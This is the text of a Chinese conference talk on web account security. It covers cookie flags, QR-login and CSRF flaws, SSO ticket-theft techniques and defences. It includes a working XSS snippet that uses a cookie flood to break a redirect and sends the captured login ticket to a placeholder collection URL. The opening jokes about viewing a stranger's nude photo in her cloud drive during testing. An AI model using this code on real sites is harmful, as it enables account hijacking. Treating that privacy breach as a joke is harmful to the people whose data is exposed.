這篇是我前幾個月在CSDN開發者大會上講的賬號通行證安全相關的PPT《我的通行你的證》的文字整理版，稍微補充了點內容。因為懶一直沒時間寫，但年關將至，想到可以為老家的孩子們多掙點壓歲錢……
幾個月前，我在測百度的一個賬號體系的漏洞時，無意中進入了慈云寺橋一甜品店的女收銀員的百度網盤，當時隨便看了兩眼，突然發現了她的一張裸照，嚇的我趕緊關了頁面。當時我就想，如果她是我最好的朋友的女朋友，她的裸照被壞人利用漏洞攻擊而泄露了，那該多不好呀
換位思考后，我閉著眼，對著裸照暗暗發誓，保護女網友，人人有責
此文比較長，建議各位讓女朋友不用再等了，讓她穿上褲子先睡
今天不講密碼安全，今天主要講講互聯網上常見的一些通行證相關的“其他漏洞”
目前各大互聯網公司的網站大多使用cookie來實現對用戶的認證。如果攻擊者拿到了這個認證cookie，就可以登錄了用戶的賬號了
cookie安全注意點
Httponly：防止cookie被xss偷
https：防止cookie在網絡中被偷
Secure：阻止cookie在非https下傳輸，很多全站https時會漏掉
Path :區分cookie的標識，安全上作用不大，和瀏覽器同源沖突
Httponly：防止cookie被xss偷 xss攻擊可以獲得用戶的cookie。但如果cookie加上了httponly屬性，js就無法讀取，可以保護我們的cookie不在xss攻擊中被偷走 但很多安全從業人員覺得cookie加上httponly了，xss就不算什么漏洞了。這當然是無厘頭的，xss是標準的html/js代碼注入漏洞，它不僅僅只是可以偷cookie，還可以做很多，下面會有很多例子…
https：防止cookie在網絡中被偷 目前主流網站的認證cookie在互聯網中都是無保護進行傳輸的，可能會在網絡中被嗅探或其他方式泄露。所以建議安全級別高的網站使用全站https，并且不支持http的訪問，而且還要使用HSTS，強制把http的請求轉成https請求
Secure：阻止cookie在非https下傳輸，很多全站https時會漏掉 即使有時候你做了全站https，但你的cookie沒有加上Secure屬性的話。網絡中間人可以在第三方頁面中強制你使用http訪問做了全站https的domain，此時你的cookie同樣會在不安全網絡中傳輸。如果加了secure屬性，則此cookie只在https的請求中傳輸
Path :區分cookie的標識，安全上作用不大，和瀏覽器同源沖突 cookie還有一個path屬性，這是一個區分cookie的標識，安全上作用不大，和瀏覽器同源策略沖突。因為，路徑A下的xss雖然讀不到路徑B下的cookie，但路徑A下的xss完全可以注入代碼進入路徑B的頁面，然后再去讀路徑B下的cookie
比較好的cookie方案
常見的通行證相關功能
1. 無行為確認
用戶掃描二維碼后，系統需提示用戶檢驗二維碼的行為。若無確認，用戶掃描攻擊者的登錄二維碼后，相當于給攻擊者的票授權
案例： 可以欺騙劫持進入來往用戶的帳號 WooYun: 可以欺騙劫持進入來往用戶的帳號
2. CSRF漏洞偽造授權請求
給票據授權的請求如果是http的，并且可以被攻擊者偽造。攻擊者可以偽造請求讓用戶掃描二維碼后執行，或讓用戶以其他形式對攻擊者的票據進行授權
一些二維碼的授權請求按理說應該只在app端有效，但大多案例中，此請求在web站登陸狀態下也是有效，增大了攻擊面
案例：
微博上點開我發的鏈接我就可登進你的淘寶支付寶和微博 WooYun: 微博上點開我發的鏈接我就可登進你的淘寶支付寶和微博可盜號可掛馬（poc中附若干從洞）
聊著聊著我就上了你……的微信 WooYun: 聊著聊著我就上了你……的微信（兩處都可以劫持微信登錄的漏洞）
綁定請求未做csrf防護，攻擊者可以構造惡意請求讓用戶綁定了攻擊者的賬號。這樣攻擊者登錄他自己的賬號后就可以操作用戶的資源
案例：網易某處點開我的鏈接就會被盜號 by 子非海綿寶寶
另外綁定了越多第三方的賬號，會讓你的安全級別降低，因為你的所有賬號同時不出事的可能性降低了
通用的防CSRF的解決方案，referrer+token
當我在談csrf或jsonp劫持的時候，曾遇到無數人告訴我referrer可以偽造。我只能說目前我還不知道在瀏覽器端偽造referrer的方法。如果你可以自己寫個程序偽造referrer，那咱倆聊的不是一個事
關于oauth的更多安全總結，可以參考文章
OAuth 2.0安全案例回顧
認證cookie本應該只出現在http請求中，并且在瀏覽器端的存儲中加了httponly屬性，是不會被xss攻擊盜取的。但某些功能架構中，認證cookie的不規范傳輸和使用可能會導致認證cookie泄露
案例：
通過一糯米XSS可繞chrome并可用兩種方式拿到httponly的BDUSS（大部分非IE用戶點擊后百度云盤資料會被泄露）
需求：如果用戶已經登陸B站，則自動登陸A站
實現：用戶訪問A站，A站把用戶跳轉到B站，B站驗證用戶已登陸，給用戶一張票，用戶拿著票去找A站，A拿著票去B那，驗證成功后放用戶進去
下文中將大量出現如下示例站點
A:http://www.t99y.com
B:`http://passport.wangzhan.com
舉例：用戶訪問http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php
B站檢驗A站是白名單域后，然后302跳轉到
http://www.t99y.com/a.php?ticket=******
然后a.php用ticket參數去B站驗證用戶合法后，再給用戶種認證cookie
偷認證信息的大概流程如下，后面會細講。總之攻擊的目的就是，拿到用戶的ticket信息
互聯網上常見的幾個單點登陸場景，通行證或第三方站給的登陸憑的證使用的方式各有不同，分別該怎么偷
場景1、直接使用票據來做驗證
http://t99y.com/a.php?ticket=XXXXXXXXXXXXXXXX
服務端使用此ticket去sso驗證此用戶身份，然后在本域種認證cookie
偷的思路：
讓我們構造的頁面獲取到憑證后請求我們控制的服務器上的資源，這樣referrer里就有ticket信息了
偷的幾種方式
示意圖如下，如下是我畫的一個chrome瀏覽器，地址欄里ticket參數會被包含到下面的一些元素的請求的referrer中
參考案例： WooYun: 微博上你點我發的鏈接我就可以登上你的微博（web版和app端均可兩個漏洞一并提交）
場景2、中間頁接收ticket完成認證，然后用js跳轉到我們的目標頁
http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php 此時會種上認證cookie
然后頁面會使用js跳轉到 http://t99y.com/a.php
location.href=“http://t99y.com/a.php”;
例子：某綁定了微博賬號后可以自動登陸的網站
偷的幾種方式
場景3、中間頁接收ticket完成認證，然后用302跳轉到我們的目標頁
如下的多個302跳轉
http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php
http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php
http://t99y.com/a.php
偷的方式
Xss創建iframe，種超長cookie，讓含ticket的302拒絕服務，然后使用iframe.contentWindow.location.href讀取最后的iframe的當前地址
拒絕服務還有個好處，防止某些ticket有防重放的防護
#!js
for (i = 0; i < 20; i++) {
document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth'; } var iframe =document.createElement('iframe');
iframe.src="http://bobo.163.com/checkAuth?url=http://www.bobo.com/&";
iframe.addEventListener('load', function(){ var ntes =
iframe.contentWindow.location.href; var img1
=document.createElement('img'); img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes); for (i = 0;
i < 20; i++) {
document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth'; } }, false); document.body.appendChild(iframe);
案例：網易用戶登陸狀態下點我的鏈接我就可進入其郵箱、云筆記等服務
如上方法不適用于IE的一些版本，因為IE在打不開頁面的時候加載的是自己本地的頁面，導致錯誤頁和我們的xss頁面不同源
由認證中心來跨域為子站設置認證cookie
單點自動登陸需要防護csrf，讓用戶不能偽造登陸請求
當我們在一個app內打開其公司產品的一些鏈接，會被加上認證信息去讓用戶自動登陸
微博客戶端、QQ客戶端、微信客戶端都曾有或現在正有此問題，一般會加上參數sid、gsid、key
偷的幾種方式
見單點登錄場景一的幾種方式
用戶甚至會通過app的分享功能把認證信息分享到郵件或朋友圈
不要直接把認證憑證添加到webview的URL來完成認證
使用COOKIE，POST都可以
跨域從通行證獲取登陸ticket
形式為類似http://www.wangzhan.com/sso/getst.php?callback=jsonp
然后通行證會返回個jsonp格式的數據，里面包含認證信息
偷的幾種方式
架構上就不該使用此種方案
app和web的接口不要混用，要保證接口的干凈單一。我遇到過一些案例，web和app為了互相兼容，而降低了本身的安全策略，或使用了不合理的架構
如上都是漏洞信息，但有時候還有些架構上的小問題可能會導致出現漏洞，或者讓攻擊者的漏洞利用更方便
常見的sso的一些安全風險如下：
案例：你windows上開著QQ點了我的鏈接我就進了你的qq郵箱財付通等（任意騰訊xss拿qq的clientkey）
這個案例里除了xss漏洞，有兩個安全設計上的問題，就是上面提到的：
網絡是我家，安全靠大家。保護女網友，幫她加把鎖